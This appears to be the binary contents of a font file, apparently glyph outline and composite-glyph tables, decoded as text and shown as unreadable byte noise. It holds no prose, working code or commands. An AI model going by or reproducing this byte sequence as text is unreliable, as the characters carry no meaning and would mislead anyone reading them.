Q��C9���3#3!53##5!��yy�y��fx���=D�DDD��DD6�,�	26&#" $$321yuuywvvd�&����
߱l�����C����r4�G�!6545 ! 547&543"254%������V����M���D:8�<�XMs���|bI^�<�{�N\F`�<���53#5!2+332654&+<yy�������GRaaRG�C�B�܃��C�`OP^<�8�$3!'.+3!53#5!2%32654&+�8M�a�ʕ,=6'y�yy��~�zSX__XS=30�C�M*��CC�BsiVdTNMSU�V�)5332654&/.54632#.#"#"&dP�xbfEm��p��S�`P|r]_A���vĿ\���\[A>27nez��UN8836yj}����53!#5!#5!3�|��W�U��~�C���͂�YC,�I�#5!#3265#5!##"&5�x�xm��mxHy��ڼ�BB�e�z{��BB�Y����V�G'3!5#"&546;54&#"#5>325#"326�_��,mEgn��uMQCHG<�G���T>C024?��CJ.,`Zbb#GD07~u��u<o7<V�G(#5!>32+32673#"&32654&#"�`?,lFfn��uMPCIG<�G���T>C123?�$CK/,aYcb"GD06~u,u;877;V�� 54&#"326!#3!5#"&6325K=BE89DB=>__��`F����F`�:g[`�a[�B�<CJ--� �-.	V��5?326=#"&'!54&#"#>32>32+32673#"&3264&#"K1;:2{0uF���OWHX
j��T�28�N����vYNAGH<�GV|PTEC286<�t]\k
�++��rdB@c^++++`Zcb"@J05~*yw<}4=V�� #5!>32#"&'!5%3264&#"�`?`F����F`��?<BE88EB<��B��.-����--JC�f[a�`[gV��54&#"3263!5#"&632#5!K=BE89DB=�_��`F����F``?�:g[`�a[^CJ--� �-.BV�4&#"!32673#"&54632&1;92�4NWHZi���������t\[k
AqeC@c^�����V�326=%!54&#"#>32#"&K1;:2�3�OWHY
i���������t]\k
ArdC?c^�����V��."&5467.54632#.#";#"2673���ss���7?>EINJD%$,-WX,,HEHN
k=:�UM9N
N8NU
v324*"#B"#)483DG64V��.2#"'&'53327654'&+5327654&#&#676d���ss���6??EINID%$,-WX,,HEHN
k<;UN8N
N9MU
v324)##B"#(583DG55V��*#"&'53326=#"&6325!4&#"3265*ɷC�HG
WQhU`F����F`>��=BE89DB=��|��:8VnB--� �-.KC�g[`�a[fV���#"&54632#5!#3!�G32FF23G�`�__��
-==-+=<CC�=CV��!53#5!%#5!#3!53'3�m__>P2|�I��N�?U�C�B���CC���CC�0�V�b0>323!534&#"3!534&#"3!53#5!>329/lHtr`�qP'4;BP��P'3<BP�r__>'eERf�:6rs��CCm9OJ��CCm9OJ��CC�CS307V�W&53#5!>32#"&'5332654&#"3V__>(hOpt��%V.G%*.%,5D?R�C�CS4/tq�GY\
|,'4C�K9V^��CV�J26&" &54632��99�:2���ɱ���jij�驤������V��>32#"&'5332654&#"V���­F�JG
OH]OMWCR>dc�����JHn��qFBV�J4632#4&"Vɱ��9�:ѐ����ij�V�J�#"&53265Jɱ��9�:Б����ij�V��"3264&#"'#5!>32#"&'3!53�<BE88EB<�`?`F����F`g�Z`�:f[a�`[^CK.-����--�BBV���#53533#32673#"&5�aaߺ�$)'^cy�b�C��C��L&01XGKeV���3!5#"&5#5!3265#5W_��(gOqs`?)8C?R���CR4.tq1C��m;W_CSGG!53##!#!2654&#!#SQL^<4����L�}Cdl��L�U��#]EdgU%1<8IV�b�0#"&5#5!#3265#5!#3265#5!#3!5#"&/lIsr`�P&5;APP'4<AP�``��'eERf;5rs1CC��m:PJ!CC��m:PJ!CC�=CR3/6V�{�#5!##53#��J�Q��W�M��CC��rCC��&��#232673#"'#"&'53327.546[�fG1<HO
GJnF�]\�FmJF
PH<1Gg��Qc{7.IL�22�LI.7{cO�Q�-3276'&'&+5327654'&#4#"0'25;&.) #$!Y�:�J[44ZZ]<Ш@�06PU5DC&2VH*����t�3>Wa0.X9Sv| ��'&7#5!676'&'53�{a)":C] "N�I�u(Q�0B�rg�(C9=r <�(�s9+* Mm5�)%-&74767672#&'&'&#"72 &7626&"�gSR�?MKJF*CK)	V�dd���d<��99�:�4R_&#
x1\TS�ڧ�&S2��lkl��<�R�86767654'&#"#'&'&'&'&547673476�>#' )D��%N**/ BAoQ '$9	��d~2B/*%S'�(-�o4>��b��H1WcII$G9j?:]�'  ,AWUX0H�453!53'&'&'"#5676727#5!#327673"'&'�nK�vH�X
&;  &-(BuA�H��R&;  &-(��<<��<&rH��<<�?�<	&qH��,�X��T��Z�cu�T��V���IC�T��V{IF�T��Q�rH�T�� �SI�TQ�&d32654&#"763#"&'#0<CE88EC<�6^�NR��G_�G;h]c��b]�G)	RV���-/����<�RSK�T���4dL�T/���D(0"&'#"$5#5!3265#5!63 !326734&#"̆�NY�|�����BXkc��`x	�%|�s��+�@N^[OMONN��+y���k���y���ηzt��uҩ����9�D+4$!2#.#">32#"&'!5326&#"x?#j�sq����-�p����p�-��`inYZmi`����!!�if��ySQ�������QS�yf���ʰ����<���F�'!#3#3!53#53#F������o����'y��y��yyfyVJ�'53#5!3#3#"'&=J�����*,[��Ka�yVy�1y��<=c0?�/�V�D'0#5!>323##"&'3!53#53!3276!&'&#"ǘ�-�p�q^]v��p�-��b����r_jn,&�w�&,nj0.�y�SQ���y�QS�Hyyyy��XM4�JXSO/��'%#5!#!#5!#3## &=#53!3265ǘ{����������㘘G��gV��yy��Vyy��y\����\yy%�ko�����'-5!3#"'&'&'&'#536767!5!!&'&'5!!276���N/�u01\Sll�kjU^1/x�.O���0!�
 0�}�<:>�>:�@|JPyg_bJC$###DL`]iyPJ|@yy�ZfhV}y���hpph�9�%3#"&'53326=!53#5!?���<�Iq;BI:�ї��yy}���PG^{}y#xV�� 3264&#"!53#5!>32#"&'�=BE89DB=��__>aF����Fa�:f[`�a[�WC�CK.-���--	V��#"&54632#.#"3267�����­F�JG
OH]OMWCQ	ceb�����JHn��rGBV-��-3254#'676!"'#767&'&7632#&'&#"t;bW9�1[����tQVkkj�e788;''I]02&T;D
'�n'/OO8+TTT

�M#$@B|4V�J	,#"&54632.''7.'77.#"2654&UvȲ��ɚ6
)��!a?X�9��/F;;�:�R�~�����"=R7H"=
(U9��

i~�ih�;iV��0"'&'33>54'&+5327654'&#"#567632d�;<k
NHEH,,XW-,$%DINIE??6�ZZ�ss�ZZ�46GD384)#"B#"*423v
+*N8N
N9M*+V��#.#"3#3!53#5354632�G/,2-����@`dd��5g1r**?GKC�=CC�CIae
V���#5!3##"'&'53276=#53@_>jj��%++.G).^^�C��CEY\
},CECV���'!##"&'53326=#"&54765#"3265�_ɷC�HG
WQhU`F��SRPE89DB=�C�|��:8VnB--��~TR���`�a[fV���3!#"&5#5!#3265#5Wd��(gOqs`�Q+6C?R��B<4.tq1CC��J:W^CV��!3!535#535#5!3#47632#"'&�`�b____>``�$#32####23#$�CC�C�C�C�--+V��#5!3#"'&�]<9mu/=eMC�xH!"6#V���'!#3!53#�_�_`�b__�CC�=CC�V���!#3#3!535#535#V�__``�b____�C�C�CC�C�V��+647632#"'&#&547232#5!#&'&'&#&76765##41#$##23#$�+HP۠_>=F
�tS�-,+��*/zlC�r#-1,PE1OV�#5!327673#"'&5�_?$.*H.++&�HI�B�cC4,|
..YV�3#"'&'533276=#53#5!�`��%++.G).�__>�Y\
|,CEC�BV���
53#5!#353Vxx�y�U�C�BB�A��V�B>32#"'&'53327654'&#"3!534'&#"3!53#5!676329/lHtr��%++.G).4;!!P��P3<!!P�r__>'32ER33�:6rs�GY\
|,C�m('J��CCm('J��CC�CS3V�b�0#"&5#5!#3265#5!#3265#5!#3!#"&/lIsr`�P&5;APP'4<AP�``��'eERf;5rs1CC��m:PJ!CC��m:PJ!CC�RB<3/6V�B-#5!676323!534'&#"#"'&'5332765@_>)34Oq9:`�pQ5D ��%++.G).�CS4::q��CC6K++^�rY\
|,CV�?,53#5!67632327673#"&54'&#"3V__>(44Opt.)G.++%��5D R�C�CS4tq�GC,|
\Y�K++^��CV�T�53#53#53##3VVV��A�Vv�xA�C�E��EE��_��CV�J
 '&5476322767!'!&'&"���edde���d�������RR��RR���R5/ut/�o-45-V��&/!#3!535&'&547675#67654'&7�{�[ss\�|�b{�YttY�{{&&� &&C�
AR��RA
�CC�@R��R?��)�
5��5��/
5��5V��C3327654'&/&'&547632#&'&#"#"'327673#"&5[G	/0QD$$B\h./LK�;CCQG,+PDF4\�22��.)G.++&��`A"#'#**G`./	�<&$+*Mc^7C,|
\YV��!&7632#.#"#"&'533276'�XG�6f1F0+4#WI�%V.G&).	>`33
}**!F�&P7.
|,'(5V���"#53533#;#"&'533276="&5�aaߺ�$���&V.G%)-�d�C��C��L&sY\
|,'E5KeV���)5#5!3#3!5#"'&=#535#5!#32765xR1XX_��(43Oq:9RR`?��8C ��C�C�CR4::q2C�C�Cm,+_V�Z)#"&'&'&5467#5!27654'&'5!�o�:4DE��5;�p�B"N�'(!�#�O;67(%'%)65<O�#C[F6We|>>eY5B[�2�#5!#3265#53##"&5}_�RZA7`X�Rz����CC��o<>}CC��g�vsV�v�$5#5!727654'&'53�_>`@''"Qo�:5DD��GC�u|=>fX5B#�N<67(%V�{�3!533#53D�J��Q��W�M����CCq��CCV���
5!#5!!53V���Kp�6K�C�d�B�:j�V��� 5!#5!!3327673#"'&=V���Kp��.)G.++&�KI�C�d�B�:uC,|
.,[EVG��"#767!5!#5!367676%376�W�����Kp�&$7ZYG��a'=�PP
C�d�B�:K2Sk>;'V�+�#"&'5332654&+57!#5!��Fe��K�VLbW`imd*���Ko�.C�{�NR\VYa{�d�BV�J!&'&"!276 '&54632O�����3��edɱ��dv�IVVI��HRRH�vw������w����f73!5���������������:f!!3�z������x����f!5!#���@�������:f#!�z����x���� f	3#'#3�.�������f����x���� f	73#'#���դ���դf����x����L�&$���T�D&D�X��`R�'
au%��/��F�&E�E5��`�KR�&%�a��/�KF&E����`��R�&%�a��/��F&E����V�o�k&�
xyu��T�o�f&�v���`��'
au'��T��h�&G��5��`�K��'��'��T�Kh'��G��`����&'�a��T��h&G����`�o��&'�8��T�oh&G����`���&'���&��T�h&G���&��`�u&
�s(��T���i'
����H��`�u&
�s(��T���i'
����H��`���&(�/��T��D&H����`�9��&(�/��T�9�D&H����`�o�k'
~/u���T�o�5'�����`��'
%u)��?��&I�D5��V��3�&*��u��T�9h&J����`3�'
�u+��?��&K�E5��`�K3�'��+��?�K�'��K��`3�'
w�u+������&K�E5��`�o3�&+����?�o�&K����`�;3�&+����?�;�&K����`�9`�&,�����9�&L�}��``u&,
��#���V&�
����`3r&.
x
|��F�r&N
xN|��`�K3�&.���F�K�&N����`��3�&.���F���&N����`�Ks�'��/��F�K�'��O��`�KsP'q��D���F�K�P'q��D���`��s�&/�%��B���&O�}��`�s�'��&/���&O����&��V{r&0
xI|��FHf&P�H��V{~'
<p0��FHN&P�j��V�K{�'�<0��F�KHD'�GP��Z��'
�u1��F�N&Q����Z�K��'��1��F�K�D'��Q��Z����&1����F���D&Q����Z���&1�U�&��F��D&Q��&��V���u'
��2��T��S'
����R��V���q'
��2��T��K'
����R��V���u'
��2��T��i'
����R��V���u'
��2��T��i'
����R��`�k'
xau3��/�VFf&S����`��'
au3��/�VFN&S����`��'
au5��;LN&U����`�K��'�a5��;�KLD'��U��`�K�P'qaD���;�KL'q����`����&5�a��;��LD&U�}�����L�'
�u6��X��-N&V�B����KL�'��6��X�K-D'�BV�����L�'
�B6��X��-8'
����V�����L�&
�'6��X��-'
�����V����KL�'
�u���X�K-N&V'�B�C����'
u7��1����&W�}5���K��'��7��1�K�q'�5W������&7���1���q&W�-�����&7���&��1��q&W�5�&��F�K��&8����/�K�'&X����F�9��&8����/�9�'&X����F���&8����/��'&X����F���u'
��8��/���Q'
���X��F���q'
��8��/���q'
��X����Ro&9
yu�����V&Y�_����KR�'�'9����K�''�TY����	k'
z�u:����f'�~Z����	k'
x�u:����f'�~Z����	�'
w�u:����&Zj}�����	�'
�u:����N&Z�~����P	�'��:����K'&Z�}��
3�'
u;���N&[�_��
3�'
wu;���N&[�_������'
�u<����9�N&\�_��L�k&=
{�u��HFf&]�G��L�K��&=����H�KF'&]�F��L����&=����H��F'&]�F��?���&K����	����&W�}5����&Z�~����9�&\�_��T��:&D�/��?��'�D5A�!'75#5354632#.#"73!53B>ٞ���U�NpKEP$$�@��:�-i��y����NL:>|�]i��yy?� %3!53#5355367632#.#"!%?�:�����Kq�U�NpKEP$	��yyy5y{yc<\�NL: 1yF���/4&+5#"3!534>3!!"&'3326���B	�q�U"���J����U�cN.���X�Wy�dU�ë��C����yy���D���(6EFL?�%+H�ݔ��T��-����KL�&$���T�KD&D�X����Lb&$�u��T���&D�Y����Lo&
�H$��T���'
�����D����Lo&
�H$��T���'
�����D����L�&
�H$��T��
x'
�����D����L�&
�H$��T��'
�����D����KLk&$'�
{u��T�Kf&D'�X�Y����Lu&
�T$��T��5'
�����D����Lu&
�T$��T��5'
�����D����L	)&
�T$��T���'
�����D����L�&
�T$��T��N'
�����D����KL�&$'��u��T�K5&D'�X�Y��`�K��&(�/��T�K�D&H����`�b&(�0u��T����&H����`��&(
y1���T���V&H����`�o&
�s(��T���'
����H��`�o&
�s(��T����'
����H��`��&
�s(��T��=x'
����H��`��&
�s(��T���'
����H��`�K�k&('�/
{2u��T�K�f&H'������``b&,��u��F��'�~�����`�K`�&,����F�K�&L����V�K��&2�}��T�KD&R����V���b&2�~u��T���&R����V���o'
��2��T��9�'
���R��V���o'
��2��T���'
���R��V����'
��2��T��^x'
���R��V����'
��2��T��'
���R��V�K��&2'�}�~u��T�Kf&R'������U���k'
x}ub��U���f'v�c��U���k'
z}ub��U���f'C�c��U���b'�~ub��U����'��c��U���o'
y}ub��U���V'��c��U�K�'�}b��U�K�b'��c��F�K��&8����/�K�''��X��F���b&8��u��/����&X����L��dk'
x�uq��3��qf'v�r��L��dk'
z�uq��3��qf'C�r��L��db'��uq��3��q�'��r��L��do'
y�uq��3��qV'��r��L�Kd�'��q��3�Kqb'��r�����r&<
z�|����9�6&\C
�����K��&<������9�'&\�������i&<��|����9��&\�_�����o&<
y�u����9�V&\�_`s�
353#5!#!53!!`���L�����y�yy�-�\�-Fh%3!53#535#5!!5#5!3#!И�ޗ����/��������yyy'y�x��x�y��'����T����'6�*��T����'n�*��T����'C�*��T����'P�*��T����'D*��T����'Q$*��T���'E�*��T���'R�*����L�&6�����L�'n�p����&C������&P������&D�r����&Q������L&E�����L'R�v��c��o�&6t.��c��o�'n�.��c��o�&Cg.��c��o�&Pr.��c��o�'D�.��c��o�'Q�.����'6��>����'n��,����&C�B����&P�B��V�&D������&Q����F�V
�'60��F�V
�'n�0��F�V
�'C�0��F�V
�'P�0��F�V
�'D0��F�V
�'Q0��F�V
'E�0��F�V
'R�0��q�'6��>��e�'n��2��
��&C�N��
��&P�T��	��&D����
�&Q����	7'E�l��	1'R�m���F!��&6�2��F!��&n�2����!��&C�2����!��&P�2��!��&D�2����!��&Q�2��:!�&E�2��1!�&R�2����'6��J����'n��2����&C�H����&P�N���&D����H�&Q����j'E�l
��X'R�m���T���'6�8��T���'n�8��T���'C�8��T���'P�8��T���'D8��T���'Q�8������'6��<����"�'n�������	��&C������	��&P��������&D�O����0�&Q����F��<�'6�>��F��<�'n�>��F��<�'C�>��F��<�'P�>��F��<�'D>��F��<�'Q>��F��<'E�>��F��<'R�>��s�'n�����	��&P����	#�&Q�Z��9'R�mp��Q��I�'6�B��Q��I�'n�B��Q��I�'C�B��Q��I�'P�B��Q��I�'D�B��Q��I�'Q�B��Q��I'E�B��Q��I'R�B���'6��"T��Y�'n��"���	��&C�"��	��&P�"���&D�"P��Y�&Q�"����'E�l"��'R�m"\��T���f'b�*��T���f%��c��of'b�.��c��of&��F�V
f'b�0��F�V
f'��!�f&b�2��F!�f(��T��f'b�8��T��fE��F��<f'b�>��F��<fF��Q��If'b�B��Q��IfG��T�W��'�����T�W��'�����T�W��'�����T�W��'�����T�W��'�����T�W��'�����T�W�'�����T�W�'�������WL�'5������WL�'5�����W��'5B����W��'5B����W��'5����W��'5:�����WL'5������WL'5����F�V
�&�����F�V
�&�����F�V
�&�����F�V
�&�����F�V
�&�����F�V
�&�����F�V
&�����F�V
&������Wq�'5����We�'5�����W
��'5����W
��'5����W	��'5s����W
�'5�����W	7'5�����W	1'5����Q�WI�'�����Q�WI�'�����Q�WI�'�����Q�WI�'�����Q�WI�'�����Q�WI�'�����Q�WI'�����Q�WI'������W�'5�����WY�'5$����W	��'5�����W	��'5�����W�'5�����WY�'5$����W�'5�����W'5����T���5'��*��T���'q�*��T�W�f&�����T�W�A&*����T�W�f&%����T���V'7�*��T�W�V&-������L}'�H����LP'qD���f'b�vH����Lf����WL�'5���W���6����W���W���'&547632'6�>*++'AD1-+db@�	')>61+8B8Y(Bw/.���fV����)s�'7Vj��F�V
f&�����F�V
D&0����F�V
f&'����F�V
V'7�0��F�V
V&<�����f'b�v�����$f��	+f'b�v������f��`�W3�'5���Y���'b 6���u���&m6�����f&67���@!�5&��2��F!�&q�2��!��&`�2��!��
��&!�V&7�2��!��&8�2��``k'
~�u��``P'q��D��Xf'b�v������f��W���'n��b ��T���'n��m.����f&n7���F��<5'��>��F��<'q�>��F��<�'`�>��F��<�)����V�'6�:����V�'n�:��F��<V'7�>��F��<�'8�>�����k'
~Du�����P'q&D��9f'b�vp�����f���'n��D��x)s�&jb������)�������fC��Q�WIf&�����Q�WI'&B����Q�WIf&G����Q��I�&B7����Q�WI�&f������5f'b�v�������f��sf'b�v"������f	��\�W��'5�"��Z�sfvZ���&'&547632�(@cd*-0EA&,,)�x./wB(Y8B8+16>)'o������1��0!!ot�������o���n�#��/�1��0!!n��K��n����/�1��0!!n$����n����/�1��0!!n$�������/�1��0!!������)'_J_�����&BB��R�@
{	i	��91���90!67R`X����hC��7�`b�'�@s	i	���91���90>=!b`W��C��7��a=��?@
	i	���91���90>=!=`W���C��7��`b�'�&'!'i��W�a�7����#�2@
	{	i	i����991�<�2�2990!67!67#`Y������`X����hC��7�a�C��7�`b���4@	
s	ii	�����991�<�<�2990>=!%>=!3`V����`W��C��7��a�C��7��a=���?3@	
	ii	�����991�<�<�2990>=!%>=!`Y����`W���C��7��`�C��7��`b���&'!&'!'i��V1i��W�a�7��C�a�7��9�;��8@
��	�sTRT	�<��2�<�2�1���<�2�<�203%%#5��)��j)�)�j��J#�#��R#�#9�;��a@5���	�
��sT
RT
�<�2�22�<�22�21���2�2�2�<�2�2�<�203%%%%#55��)��j))��j)�)�j�))�j��J#�#����#�#�I�#�##�#'��`���1��0467>32#"&'.'535�II�245633�JI�326�J�235624�IJ�336633�'AF�'Ao�H���#`74632#"&�pNOppONp�NppNOpp����`	%462"&%4632#"&Bp�pp�p�dpNOppONp�NppNOppONppNOpp���Z`#&@r!	p$$������1�<<�220%4632#"&%4632#"&%4632#"&�pONppNOp�epNNppNNp�dpNOppONp�NppNOppONppNOppONppNOpp1��
��#/3?Kk@723030121*@}}*}$F}4:2p0${L	C=	I17!'73-L��������������1�2�<<�2�2����20KSX��Y"2#"&546"32654&"32654&'2#"&546!3#2#"&546"32654&	Z��˾��˾@77@A88�@88@A88A��˿���N��Z�;��ʿ��˾A89@A88��������d��������ߋ�������e���������-��������d��������	1��^�
!-9CGS^2 &546"32654&%2 &546"32654&"32654&'2#"&6!3#2#"&546"32654տ����˾@77@A88�D�����˾@77@A88�@88@A88A��˿���N��Z�;��ʿ�����89@A8��������d��������d��������d��������ߋ�������e�v�����-��������d�������(`��!(���`u����(`b�'�w���(`��'��&��w(`��#!��`u��(`g�'�|���(`��'��'�|��<#%#��������#��s-@
h��291��905s��+-�����������-@
h�<�91��905��+��-����AB������&����T�%>32#'#4632#"&67654�|�i�����d;	y�pNOppONp_DA�""�������B��)NppNOpp�\�t��MB0��-���'
�'
�{
�{������)@*p{��1��0KSX��Y"3#)��Z�����73!!#3b��7��T�x"x�^����!!53#53#�8��������x�^���B��f�&"�"�����T�&"������T�&�"��;��2####5���ט��q�辸�����}��fS3'#"&'.467>3��،I�326535�IR�2633���235��fS'372+r�،I�535623�I��532���336��-�
��5��7�"&462&5!�n�op�o�o��b-Nnn�qp�ȎmD�X��l���a#
%#'-73%
%#'-73%���=�����=��=�
=��=�����=��=�
o��q����q��p�����q����q��p������B&�'�l�'���d��?#"'&'&'$#"5>32326���w�
���sՐ�����s�?�VR:BHI�WQ9DH��(`P�'��&�'�w�e=�H�27654'&#""'&7632�KKLL�edde��deed�<<��==<<�<<@nn�nnnn�dnn,��4632#"&3!53#5!vG32FF23G�`�b__>�-==-+=<��CC�C1�;�P@(��*	�
��{1k
1��<��<�91��2�<�290KSX��Y"!535!533#3%%��}��{���}�w��^yX��^y�N��j�#�%!>32#"&'53327654'&#"#�*f9�yffe�M�SL,-W]--,,Y0&%!?�[M��KK�P((76om67$�R�?�,67632#"'&547632#&'&#"27654&">*23<�SR���dcno�9�KM+,Fp32K�8��JI���fe��rr�8CD��10vw`00wv0f��	#!#!�{�{�.W�d�H�pC�?�'5 '&5467&'&5476 '4&"32764'&"276Zp;:bc��bcvoc11YZV�21�0t00:;��a88[q<==<q[p/.Hh77nhH./�WBBWV@  ��d&&&&df''''F�3�,"2654'#"'&547632#"'&'533276���80*32<�RS\]���on�8BAJLXFo32�01vw00`wv1�zJI��IJ���rr	�8:DC���n!!#!5!eK�����Kn����!!���L!!�'��L�R��!!!!�'��'���|w}z�&67����cXXc�D|�IB5Ͼ��4B��5>54&'5BcXXc����B4н��5BI�����_��!53#5!676323!534'&#"3_bbH)65Qu;<b�dS8E! T�C�DT5;;s��CC=K,,_��C��=HT��d����T{�d��VTt�d��Z/Tu�d��1;T��d��j#T��d��R?T��d��fT��d��C?T��d��F3T��d�������d���1����d�����-��d��z�ah��d��B�a�h��d��VGi.�d��Vi4�d��VJi=�d��Z}c��d��Vi5�d��Z�wr�d��V�h:�d��Zw��d��Vbi;�d��_�s��d��V�&�iA�d��Z����d��V�B�d+f�%)-5!5!5!#5!3#5!#!!!!!#3!5373'#35#,����
��
��������鍾����QPP-y�y�y���yy�by�y��-�Lyy�y�������1�4u@?-v�1u�u"v+${p5-+%($,#5	
".,
#,(4(
5��2�������9999999991���<�2�2������20#"#734'&54765#7332#.#"!!!!32671&�����4�5y�5�4O�l�v(�t���6�YR5����p����$w58
w$>C��ķ��w,16w�ܭ�(�u	�"/;37367'"76!3 !73 4&+3 #"'3254#"(�/k$����@zc�iE"�wv3K��M��i���F<V�$<d�p<G&�k���^������|����y��������f,�2����F$�R�N7���P`�)05327!53#535#535#5!23#3##!3!654'%!&+�p�D�����ZZZZ�R��V#^FF\#X��������uqE�p�sykVk�ywE`kkdGx�yNVk�+����@!!32673# '&547#5!6767!5!67654'&#"#6763 !� -N���88����~���М��!	3S�2l�14JL��bb�������E#"3'y*32Zrv����32uv�D9y/
;+y1-1]h23GH�J,|{�2+y���1!*#&'&76753#&'&'67671&�\�y���y68s�v(H7OM7H��X2gf0��tS����LFΐ��C���[E��AW���TQ����R{�5!53!5!!3d���d��L����y����My]?�'7!!!!3!.+532767!7!&'&#]5�6�?[�6��	[d�Y=<.ڙ��EaVO��KG�'5�/K�^wwLuw�Q[
.-X�`yÌMxLGwG.L'_�%353'75'7#5!#772$7#5!#`��8��8����:��:����Iix���y�Yys�Yytzyy�X{r�Y{s���x���eta`^�%32654&+53#535#53#5!2+!!3�}��~���������&����=�㭑����y�yyyyy����yy�y��N��	.�&r�&8��N��&r�)8E#3#7!>323!654'&#"F�}S�}�G-l���Uk�!t�x�}_TjCl=J��y�F0,4����F"! 3!64'&#"!'7#7!%>�'l���`�@t��Ŧ�:�1��3S�D��=J��y�HZ4�����Gd_+x�qg���_TO��R�02"&6&"26!!463"!#7265#5!'y[WUZ���[�ZY�Z�8X�������C�������C��jQvu��pw�R��xxVWuw� �����9P�Q3�ӊ��9PSy������(�@G$ 
��&�"s)!
]!]]'#]%	]])����������2���2���991�<<�22�<�2��29990!#5#3!53##%3#3!53#3!53#5�5L�V��V�K����VV��V�q�V�TTմb�`PP�b���%R�`PPg����PP�R��\��"\����(!#! 76'&'5!#5! '&476>���ݜ�dd�dcQQ�ވ���zz����zz}5� ����ٚ���)�� ���}\������<ܡ���`3�.����Lm�N�#3!3!!#3!#5N���͉h����{��y�y`�߾�ly4����6$3 !"$'3254#"3!4�6�u��D�~���y}�|���<g)�dFF�_�����b875GF�����7�)!!7��\%�#X}�!!}����+#���)	!!�[�����Z9���`u�� ����.8!>3 #"&'332654'&'3!53>7'#>54&#" �d�,S��33��J�|�tket�
�4<D	���[JΪ�578դN�ӃPP���SCz9��8|r`R\�	�D�qxx��W�l��C�S��1�'33!!#3!#5!#3y��yy����!�2����yy��y��x����&{�'����d��x��
�&{�'����d��x����'��&{�'�X�d{�d��x���'u�d&{�����V���&t'��u�d��x����'��d&{�����V����'��d&t����Z����&u'��d����1����&�'��d����x���'��d&{�����j���&�'��d����x���'��d&{�����Z���'��d&u����j���'��d&�����f���'��d&�����x��i�&{�����``�,``�353#5!#3!`�����@y�yy�y\��`	`�353#5!#3!!!`��	���@�y�yy�y\���`	1�353#5!#	#5!###3`��/�����}�����y�yy�#�yy��\�y����R�9����!53###5!#	#5!#3տ����͍�����?��y�\yy�#�yy�y����!53###5!#	#5!#3%!տ����͍�����?������y�\yy�#�yy�yy�����!53###5!#	#5!#3%!!!տ����͍�����
?���������y�\yy�#�yy�yy��`	�353#5!#	#5!#	3!53	3!	`��]�!��������ɸ��
��-y�yy�\�yy��5yy�:y\�;���
3�;
��	3!53	#5!#	#5!#3!53!	3��ɸ����-��!������u����?�:yy;�yy�\�yy�yy��5
��#	3!53	#5!#	#5!#3!53!!!	3��ɸ����-��!������u�������?�:yy;�yy�\�yy�yy���5��`s�/��V����&��`��'��V{�0��F�L��F�&LL
��F�&L'L
L��F�&LY
�����'Y����}&YL�����
�&Y'L�L�����
�&Y'L
�'L�L���F�&L[
���'[���&[L���
�&['L�L���F�O��T���DF��T��hG��FHDP`	��) ) ";!32#���p�U������U������������������,�\��t���,�+`��'#5! )53!32+67654'&�����U�o�������닪m��l�0=>\y�������y,GE+\i������f��3g�d.`	��/;676'&'32+%5#";5&'&76 ) !�/=?/����닪m��l��/>=0����ꋩl��m�p�U������U�p83g�d.�;@,�+\i���f`F.d�g3�\��t��@f��i�������,�V����332#"#6$3 ! $V�+�����ک�'� �z��I���������@�A��oA@�_�����_�T���D332654&#"#>3 !"&T��k�z}�r~pu�o4�����Lx���ȃ�'**������ڳV�V��!# !2#.#"3267��i����I�z� �'Ω���ܕ�+�����ef�@A�������f������=���'u�d'���L�?8	!#53?�`�4�_�4����
������	!#53%����
�����4��_4�u�h8	5!3#u��4��_4�(�4�c
�c4�����	3%#5��4�c
�c4�`�4�_�4�L�h83#!#53�4��_4����4�_�4�4�c
�c4���
��������%#553%�4�c
�c4���
���*�4�_�4�v�4��_4�.<��	%'7����~%J%��؜E��%J%~<��	%'%7%��E��%J%~<�E~%��%5j��	7%'%�E~%��%5T���5%��%~.j��	'7���5%��%~�~%J%��L�?w!!'!#53!��l�̇�l�~�4�_�4��wK����K(���
���u�hw!3#!'!5!0�l��4��_4��.��l�4wK��4�c
�c4��K(�n�]�#67>3'.'"'"&/'7"Y,-X"A�WV�Bl�l"Y,-Y!B�WV�Bl~%K%���"$#"ACFBm�l"$#!BCGCl��%K%~W�F�#7%7%#&'.#'7>727>�l��%K%~lB�VW�B!Y-,Y"l�lB�VW�A"X-,Y�l~%��%6lCGCB!#$"l�mBFCA"#$L�?8!###5333?�Z�4���4�_�4�74���4���
���4�����!#5553%%���4���
���4����47�4��_4���4�u�h85!333###u��47�4��_4���4�(�4��4�c
�c4��4�����3%%#555��4��4�c
�c4��4�Z�4���4�_�4�74�L�P;!#53!���4�_�4��:����(���
���7���
��d�h;	'57!3#+�ƍ��:�4��_4�(�ɍ
���4�c
�c4L�?8
3#!#53c��<�4�_�4������
������
%!!5!53%������
������Ă4��_4�u�h8
#3!3#Q��Ă4��_4�(����4�c
�c4�����
!5!!%#5����4�c
�c4���<�4�_�4����%!!5!5553%%�����4���
���4�����74�؂4��_4��(�4��L�?�52#!#53!264&
�������4�_�4�k%44�ܵ�����
���4J4u�h�"3!3#!"&63�%44%k�4��_4��������4J44�c
�c4��L�?�!546 +#5!#5	3264&"!�6����Y�ʂ4�_��Y%44J48��Y����������
���4J44%u�h�3#!#5#"&6 )54&"3�4��_4����Y����6��4J44%8�c
�c4������YY%44J4L�h8-2327623276;3##"#"'&"#"&+#53�'$'3;�;3'$''�4��_4�:=QFGZGFQ=:�4�_�4�&4����4&4�c
�c4Z����Z���
���L�hw3#!'!#53!�4��_4�����l��4�_�4�n��l4�c
�c4��K(���
���sK��_����
%'7ԃF	�!
��	M����^�K4���3��dF'�����!#!#53�����4�_�4��A���
��
�3#!#��4��_4�����4�c
�c4�������#53!3��4�_�4�����
����A��
�!3!3#����4��_4��4�c
�c���%#5!5!�4�c
�c4�I��4�_�4��-m^4#53!3��4�_�4������
�����m�!��4."7#5676$ a�Ĩ1 ��
���?N
<
�Fb�aaT8>p4�_�4u}l������!�#4$ 7#5&'."�ܜ
<
N?��
��� 1�ĨaF�
���l}u4�_�4p>8Taa�<��
5!'7����~%J%����ќE��%J%~��u��?�'�^����c��#"547327654''7�������kkk��kkB?%J%���V��i��jllk�t[�$J%�c��'7%'327654'7#"'&54��%J%?Bkk��kkk������B%J��$�[t�kllj��i�������F(?853!F4�<(
���F�?!!#F��Ă4�������3%#�
������4������#5�����<�4u(n8!5!3n�<�4(�4��u�n#!5n��4���
��4�����3%��4��/��Ă4�������#53�
��4�/4�<��L��h�'D^B����Z��Z�'E^C����L��h�'B^D����L�2?�'B�B�>������'C�C�>��u�2h�'D�>D���������'E�>E���F,n'n�s�8��F,n'o�8r�L�?w!!!!'7##53!7!��,��B-��G�,�84�_�48ȉB�-&&wKyô��Ky��
